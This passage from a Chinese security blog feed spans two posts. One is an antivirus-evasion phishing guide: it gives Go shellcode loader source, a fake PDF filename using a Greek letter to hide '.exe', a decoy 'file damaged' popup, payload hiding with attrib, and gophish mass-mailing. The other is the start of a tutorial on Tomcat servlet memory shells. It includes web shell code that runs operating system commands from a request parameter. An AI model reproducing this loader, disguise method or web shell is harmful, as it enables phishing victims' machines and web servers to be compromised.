class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"encoding/base64"</span></span><br><span class="line"><span class="string">"syscall"</span></span><br><span class="line"><span class="string">"unsafe"</span></span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"io/ioutil"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> (</span><br><span class="line">MEM_COMMIT = <span class="number">0x1000</span></span><br><span class="line">MEM_RESERVE = <span class="number">0x2000</span></span><br><span class="line">PAGE_EXECUTE_READWRITE = <span class="number">0x40</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> kk = []<span class="type">byte</span>{<span class="number">0x1b</span>, <span class="number">0x51</span>,<span class="number">0x11</span>}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> (</span><br><span class="line">kernel32 = syscall.MustLoadDLL(<span class="string">"kernel32.dll"</span>)</span><br><span class="line">ntdll = syscall.MustLoadDLL(<span class="string">"ntdll.dll"</span>)</span><br><span class="line">VirtualAlloc = kernel32.MustFindProc(<span class="string">"VirtualAlloc"</span>)</span><br><span class="line">RtlCopyMemory = ntdll.MustFindProc(<span class="string">"RtlCopyMemory"</span>)</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">content, err := ioutil.ReadFile(<span class="string">".DS_Store"</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">fmt.Println(<span class="string">"Error reading file:"</span>, err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> shellcode = <span class="type">string</span>(content)</span><br><span class="line"></span><br><span class="line">charcode := DD(shellcode)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">addr, _, err := VirtualAlloc.Call(<span class="number">0</span>, <span class="type">uintptr</span>(<span class="built_in">len</span>(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> && err.Error() != <span class="string">"The operation completed successfully."</span> {</span><br><span class="line">syscall.Exit(<span class="number">0</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">_, _, err = RtlCopyMemory.Call(addr, (<span class="type">uintptr</span>)(unsafe.Pointer(&charcode[<span class="number">0</span>])), <span class="type">uintptr</span>(<span class="built_in">len</span>(charcode)))</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> && err.Error() != <span class="string">"The operation completed successfully."</span> {</span><br><span class="line">syscall.Exit(<span class="number">0</span>)</span><br><span class="line">}</span><br><span class="line">syscall.Syscall(addr, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">DD</span><span class="params">(src <span class="type">string</span>)</span></span> []<span class="type">byte</span> {</span><br><span class="line">ss, _ := base64.StdEncoding.DecodeString(src)</span><br><span class="line"><span class="keyword">var</span> shellcode []<span class="type">byte</span></span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i < <span class="built_in">len</span>(ss); i++ {</span><br><span class="line">shellcode = <span class="built_in">append</span>(shellcode, ss[i]^kk[<span class="number">1</span>]^kk[<span class="number">2</span>])</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> shellcode</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>编译生成可执行文件shell.exe</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">go build -ldflags="-s -w -H=windowsgui" shell.go</span><br></pre></td></tr></table></figure><p><img src="image-20230604163030198.png" alt="image-20230604163030198"></p><p>双击后可发现木马成功上线(2023.6.4测试)</p><p><img src="image-20230604163823173.png" alt="image-20230604163823173"></p><h1 id="伪装">伪装</h1><p>要想让鱼上钩就必须做好伪装,发送一个shell.exe只有傻子才会点,所以我们一般将文件伪装成一个pdf文档发送</p><p>给受害者</p><h2 id="pdf图标-命名">pdf图标+命名</h2><p>使用<code>iconsext.exe</code>提取一个电脑上自带的pdf图标,我这里选择edge的pdf图标,得到对应的ico文件</p><p>再利用<code>ico替换.exe</code>将shell.exe的图标替换</p><p><img src="image-20230604170107321.png" alt="image-20230604170107321"></p><p>接下来改个后缀,这里不能直接使用pdf.exe,也不能使用空格填充,因为360发现这种文件会直接查杀,所以我们可以找个特殊字符来替换pdf,并且让文件名字尽可能的长,尽量让受害者注意不到最后的exe,这里使用希腊字母的Ρ来代替,名字改为<code>xxxx大学_xxxx学院_xxxx专业_xxxxx个人简历.ΡDF.exe</code></p><h2 id="文档报错">文档报错</h2><p>可以利用GoFileBinder将shell.exe和一个正常的pdf文档绑定起来,打开exe后是一个正常的pdf文件,同时机器也会在后台悄悄上线,但如果我们钓鱼的目标不一样,那么对应打卡的pdf文档也要不一样,有的是一份简历,有的是一份通告……所以最方便的方法就是让受害者打开pdf后直接弹窗报错</p><p>这里使用MessageBoxW这个api,代码如下</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">MessageBoxPlain(<span class="string">"提示"</span>, <span class="string">"文件已损坏,无法打开"</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">MessageBoxPlain</span><span class="params">(title, caption <span class="type">string</span>)</span></span> <span class="type">int</span> {</span><br><span class="line"> <span class="keyword">const</span> (</span><br><span class="line"> NULL = <span class="number">0</span></span><br><span class="line"> MB_OK = <span class="number">0</span></span><br><span class="line"> )</span><br><span class="line"> <span class="keyword">return</span> MessageBox(NULL, caption, title, MB_OK)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">MessageBox</span><span class="params">(hwnd <span class="type">uintptr</span>, caption, title <span class="type">string</span>, flags <span class="type">uint</span>)</span></span> <span class="type">int</span> {</span><br><span class="line"> ret, _, _ := syscall.NewLazyDLL(<span class="string">"user32.dll"</span>).NewProc(<span class="string">"MessageBoxW"</span>).Call(</span><br><span class="line"> <span class="type">uintptr</span>(hwnd),</span><br><span class="line"> <span class="type">uintptr</span>(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),</span><br><span class="line"> <span class="type">uintptr</span>(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),</span><br><span class="line"> <span class="type">uintptr</span>(flags))</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="type">int</span>(ret)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>效果:</p><p><img src="image-20230604164839058.png" alt="image-20230604164839058"></p><p>将上述代码写入到shell.go中即可实现弹窗(位置要在syscall.Syscall(addr, 0, 0, 0, 0)上方,要先弹窗再执行shellcode)</p><h2 id="隐藏文件">隐藏文件</h2><p>.DS_Store(Desktop Services Store)文件是苹果公司操作系统 macOS 下用于存储目录的自定义属性和元数据的隐藏文件。这些属性和元数据包括文件夹的位置、图标、背景和视图选项等信息,可以帮助操作系统快速访问和渲染文件夹。在 macOS 的 Finder 中,每个文件夹都有一个与之对应的 .DS_Store 文件,它会随着文件夹的创建、打开、关闭和移动等操作而被创建或更新。</p><p>这里将shellcode代码文件命名为.DS_Store就是为了减少受害者使用解压软件浏览压缩包时的疑心</p><p>可以将.DS_Store文件设为隐藏文件来达到解压完后文件消失的效果,但是如果受害者开启了“查看隐藏项目”,那将会暴露该文件,可以使用以下命令将文件进行进一步的隐藏</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">attrib +S +H .DS_Store</span><br></pre></td></tr></table></figure><p>这下就算开了“查看隐藏项目”也无法看到隐藏的文件</p><p><img src="image-20230604173322404.png" alt="image-20230604173322404"></p><p>这时候就可以打个压缩包发给受害者了(windows自带的压缩功能无法压缩的话使用WinRAR等第三方工具)</p><p>效果:</p><p><img src="image-20230604173628947.png" alt="image-20230604173628947"></p><p><img src="image-20230604173846465.png" alt="image-20230604173846465"></p><h1 id="钓鱼平台">钓鱼平台</h1><p>这里使用gophish搭建钓鱼平台,详细的搭建指南可以查看<a href="http://blog.leanote.com/post/snowming/a6b66097bccd">这篇文章</a></p><p>利用gophish我们可以自定义发件人和批量发送邮件到目标邮箱</p><p>效果截图</p><p><img src="image-20230604214339030.png" alt="image-20230604214339030"></p><p>参考:</p><p><a href="https://xz.aliyun.com/t/11885#toc-4">记一个常规的免杀钓鱼流程</a></p>]]></content>
<summary type="html"><p><code>邮箱钓鱼</code>是一种常见的网络攻击手段,它利用伪造的电子邮件来诱导目标用户点击恶意链接或附件,从而窃取敏感信息或执行恶意代码。在进行网络攻击的时候非常常见,毕竟资产最薄弱的部分依旧还是人。</p>
<h1 id="制作免杀马">制作免杀马</h1>
<p</summary>
<category term="技术" scheme="http://example.com/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="免杀" scheme="http://example.com/tags/%E5%85%8D%E6%9D%80/"/>
<category term="社工" scheme="http://example.com/tags/%E7%A4%BE%E5%B7%A5/"/>
</entry>
<entry>
<title>初识JAVA内存马</title>
<link href="http://example.com/post/2023/%E5%88%9D%E8%AF%86JAVA%E5%86%85%E5%AD%98%E9%A9%AC/"/>
<id>http://example.com/post/2023/%E5%88%9D%E8%AF%86JAVA%E5%86%85%E5%AD%98%E9%A9%AC/</id>
<published>2023-05-02T05:26:02.000Z</published>
<updated>2023-06-14T11:51:08.618Z</updated>
<content type="html"><![CDATA[<h1 id="介绍">介绍</h1><p><code>Java内存马(Java Memory Shell)</code>是一种利用Java虚拟机(JVM)中的内存对象和反射技术来执行恶意代码的攻击手段。</p><p>与传统木马相比,Java内存马具有以下几个优势:</p><ol><li>隐藏性更强:Java内存马不需要在受害者主机上创建任何文件,因此可以极大地减少被检测到的风险。它们完全存在于JVM内存中,很难通过常规的病毒扫描程序或防火墙来检测和拦截。</li><li>反应速度更快:Java内存马直接利用JVM中已经加载的Java类和对象,在攻击者成功上传恶意代码后即可立即执行,反应速度更快。</li><li>跨平台支持更好:由于JVM是跨平台的,因此Java内存马可以在各种操作系统上运行,包括Windows、Linux、macOS等。</li></ol><p>内存马包括很多类型,这里以tomcat内存马作为学习</p><h1 id="环境准备">环境准备</h1><p>在idea中首先创建一个JavaWeb项目</p><p><img src="image-20230502133201598.png" alt="image-20230502133201598"></p><p>勾上Servlet</p><p><img src="image-20230502133141164.png" alt="image-20230502133141164"></p><p>然后就完成了一个web项目的创建</p><p>我们可以看到idea为我们新建了一个HelloServlet作为例子,同时这里是通过注释的方式来连接url与对应的Servlet的</p><p><img src="image-20230502135042167.png" alt="image-20230502135042167"></p><p>为了方便学习,我们将利用web.xml的方式修改url与Servlet间的映射关系</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">servlet</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>HelloWorld<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-class</span>></span>com.example.servlet.HelloServlet<span class="tag"></<span class="name">servlet-class</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet</span>></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>HelloWorld<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/hello-servlet<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet-mapping</span>></span></span><br></pre></td></tr></table></figure><p>能正常打开页面则配置成功</p><p><img src="image-20230502135720407.png" alt="image-20230502135720407"></p><p>接下来我们就来写一个Servlet内存马</p><h1 id="Servlet内存马">Servlet内存马</h1><p>由于我们要分析tomcat的源码,所以要先导入tomcat的依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.tomcat<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>tomcat-catalina<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>8.5.0<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br></pre></td></tr></table></figure><p>在正式开始之前我们应该先了解 Java web三大件和Tomcat的架构设计</p><p>可以参考:<a href="https://www.freebuf.com/articles/web/274466.html">一文看懂内存马</a>和<a href="https://blog.csdn.net/u010883443/article/details/107463782">Tomcat源码初识一 Tomcat整理流程图</a></p><p>Servlet内存马实际上就是注册一个新的Servlet来执行我们的任意命令</p><p>我们先按照一个正常的逻辑来理解一下我们要干什么</p><p>首先新建一个ShellServlet接收前端发来的cmd命令并回显</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.servlet;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Scanner;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletConfig;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletException;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletResponse;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.*;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.annotation.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ShellServlet</span> <span class="keyword">extends</span> <span class="title class_">HttpServlet</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(ServletConfig servletConfig)</span> <span class="keyword">throws</span> ServletException {}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">service</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse)</span> <span class="keyword">throws</span> ServletException, IOException {</span><br><span class="line"> <span class="comment">// 从HTTP请求中获取名为"cmd"的参数,该参数包含要执行的操作系统命令</span></span><br><span class="line"> <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> servletRequest.getParameter(<span class="string">"cmd"</span>);</span><br><span class="line"> <span class="comment">// 检查操作系统类型以确定要使用的命令行解释器(Windows或Linux)</span></span><br><span class="line"> <span class="type">boolean</span> <span class="variable">isLinux</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">osTyp</span> <span class="operator">=</span> System.getProperty(<span class="string">"os.name"</span>);</span><br><span class="line"> <span class="keyword">if</span> (osTyp != <span class="literal">null</span> && osTyp.toLowerCase().contains(<span class="string">"win"</span>)) {</span><br><span class="line"> isLinux = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 根据操作系统类型创建要执行的命令</span></span><br><span class="line"> String[] cmds = isLinux ? <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"sh"</span>, <span class="string">"-c"</span>, cmd} : <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"cmd.exe"</span>, <span class="string">"/c"</span>, cmd};</span><br><span class="line"> <span class="comment">// 执行命令并将输出写入到字符串变量中</span></span><br><span class="line"> <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> Runtime.getRuntime().exec(cmds).getInputStream();</span><br><span class="line"> <span class="type">Scanner</span> <span class="variable">s</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Scanner</span>(in).useDelimiter(<span class="string">"\\a"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">output</span> <span class="operator">=</span> s.hasNext() ? s.next() : <span class="string">""</span>;</span><br><span class="line"> <span class="comment">// 将命令执行结果发送回HTTP响应</span></span><br><span class="line"> <span class="type">PrintWriter</span> <span class="variable">out</span> <span class="operator">=</span> servletResponse.getWriter();</span><br><span class="line"> out.println(output);</span><br><span class="line"> out.flush();</span><br><span class="line"> out.close();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> {</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后将这个ShellServlet注册进tomcat,也就是在web.xml中写入</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">servlet</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>Getshell<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-class</span>></span>com.example.servlet.ShellServlet<span class="tag"></<span class="name">servlet-class</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet</span>></span></span><br><span class="line"><span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>Getshell<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/shell<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet-mapping</span>></span></span><br></pre></td></tr></table></figure><p>此时访问/shell并带上cmd参数就可以实现命令执行了</p><p><img src="image-20230502142348265.png" alt="image-20230502142348265"></p><p>可见要实现以上功能一共分为两步:</p><p><code>1.写一个Servlet马</code></p><p><code>2.将这个Servlet马注册进tomcat中</code></p><p>我们先写一个Servlet马,创建一个shell.jsp(是的,还是得上传一个jsp才能弄内存马),定义一个<code>Shell2Servlet</code>并复制之前的ShellServlet的内容</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><%!</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Shell2Servlet</span> <span class="keyword">extends</span> <span class="title class_">HttpServlet</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(ServletConfig servletConfig)</span> <span class="keyword">throws</span> ServletException {}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">service</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse)</span> <span class="keyword">throws</span> ServletException, IOException {</span><br><span class="line"> <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> servletRequest.getParameter(<span class="string">"cmd"</span>);</span><br><span class="line"> <span class="type">boolean</span> <span class="variable">isLinux</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line"> <span class="type">String</span> <span class="variable">osTyp</span> <span class="operator">=</span> System.getProperty(<span class="string">"os.name"</span>);</span><br><span class="line"> <span class="keyword">if</span> (osTyp != <span class="literal">null</span> && osTyp.toLowerCase().contains(<span class="string">"win"</span>)) {</span><br><span class="line"> isLinux = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> String[] cmds = isLinux ? <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"sh"</span>, <span class="string">"-c"</span>, cmd} : <span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"cmd.exe"</span>, <span class="string">"/c"</span>, cmd};</span><br><span class="line"> <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> Runtime.getRuntime().exec(cmds).getInputStream();</span><br><span class="line"> <span class="type">Scanner</span> <span class="variable">s</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Scanner</span>(in).useDelimiter(<span class="string">"\\a"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">output</span> <span class="operator">=</span> s.hasNext() ? s.next() : <span class="string">""</span>;</span><br><span class="line"> <span class="type">PrintWriter</span> <span class="variable">out</span> <span class="operator">=</span> servletResponse.getWriter();</span><br><span class="line"> out.println(output);</span><br><span class="line"> out.flush();</span><br><span class="line"> out.close();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> {</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">%></span><br></pre></td></tr></table></figure><p>第一步比较简单,而要实现第二步,我们就得知道tomcat中Servlet的注册流程,也就是要明白tomcat是如何解析web.xml的</p><p>从<a href="https://blog.csdn.net/u010883443/article/details/107463782">Tomcat源码初识一 Tomcat整理流程图</a>这个图中我们可以看到对web.xml的解析主要是通过<code>org.apache.catalina.startup.ContextConfig#configureContext</code>方法进行的</p><p><img src="image-20230502153238822.png" alt="image-20230502153238822"></p><p>在web.xml中的</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">servlet</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>HelloWorld<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-class</span>></span>com.example.servlet.HelloServlet<span class="tag"></<span class="name">servlet-class</span>></span></span><br><span class="line"><span class="tag"></<span class="name">servlet</span>></span></span><br></pre></td></tr></table></figure><p>对应configureContext方法中的以下内容(约在1316行开始,看起来很长,实际上重要的只有加中文注释的那几行)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (ServletDef servlet : webxml.getServlets().values()) {</span><br><span class="line"> <span class="type">Wrapper</span> <span class="variable">wrapper</span> <span class="operator">=</span> context.createWrapper();<span class="comment">//先创建一个wrapper</span></span><br><span class="line"> <span class="comment">// Description is ignored</span></span><br><span class="line"> <span class="comment">// Display name is ignored</span></span><br><span class="line"> <span class="comment">// Icons are ignored</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// jsp-file gets passed to the JSP Servlet as an init-param</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (servlet.getLoadOnStartup() != <span class="literal">null</span>) {</span><br><span class="line"> wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (servlet.getEnabled() != <span class="literal">null</span>) {</span><br><span class="line"> wrapper.setEnabled(servlet.getEnabled().booleanValue());</span><br><span class="line"> }</span><br><span class="line"> wrapper.setName(servlet.getServletName());<span class="comment">//获取Servlet名放入到wrapper中</span></span><br><span class="line"> Map<String,String> params = servlet.getParameterMap();</span><br><span class="line"> <span class="keyword">for</span> (Entry<String, String> entry : params.entrySet()) {</span><br><span class="line"> wrapper.addInitParameter(entry.getKey(), entry.getValue());</span><br><span class="line"> }</span><br><span class="line"> wrapper.setRunAs(servlet.getRunAs());</span><br><span class="line"> Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();</span><br><span class="line"> <span class="keyword">for</span> (SecurityRoleRef roleRef : roleRefs) {</span><br><span class="line"> wrapper.addSecurityReference(</span><br><span class="line"> roleRef.getName(), roleRef.getLink());</span><br><span class="line"> }</span><br><span class="line"> wrapper.setServletClass(servlet.getServletClass());<span class="comment">//获取Servlet全类名放到wrapper中</span></span><br><span class="line"> <span class="type">MultipartDef</span> <span class="variable">multipartdef</span> <span class="operator">=</span> servlet.getMultipartDef();</span><br><span class="line"> <span class="keyword">if</span> (multipartdef != <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">if</span> (multipartdef.getMaxFileSize() != <span class="literal">null</span> &&</span><br><span class="line"> multipartdef.getMaxRequestSize()!= <span class="literal">null</span> &&</span><br><span class="line"> multipartdef.getFileSizeThreshold() != <span class="literal">null</span>) {</span><br><span class="line"> wrapper.setMultipartConfigElement(<span class="keyword">new</span> <span class="title class_">MultipartConfigElement</span>(</span><br><span class="line"> multipartdef.getLocation(),</span><br><span class="line"> Long.parseLong(multipartdef.getMaxFileSize()),</span><br><span class="line"> Long.parseLong(multipartdef.getMaxRequestSize()),</span><br><span class="line"> Integer.parseInt(</span><br><span class="line"> multipartdef.getFileSizeThreshold())));</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> wrapper.setMultipartConfigElement(<span class="keyword">new</span> <span class="title class_">MultipartConfigElement</span>(</span><br><span class="line"> multipartdef.getLocation()));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (servlet.getAsyncSupported() != <span class="literal">null</span>) {</span><br><span class="line"> wrapper.setAsyncSupported(</span><br><span class="line"> servlet.getAsyncSupported().booleanValue());</span><br><span class="line"> }</span><br><span class="line"> wrapper.setOverridable(servlet.isOverridable());</span><br><span class="line"> context.addChild(wrapper);<span class="comment">//这里将wrapper放到context里</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>而web.xml中的</p><figure 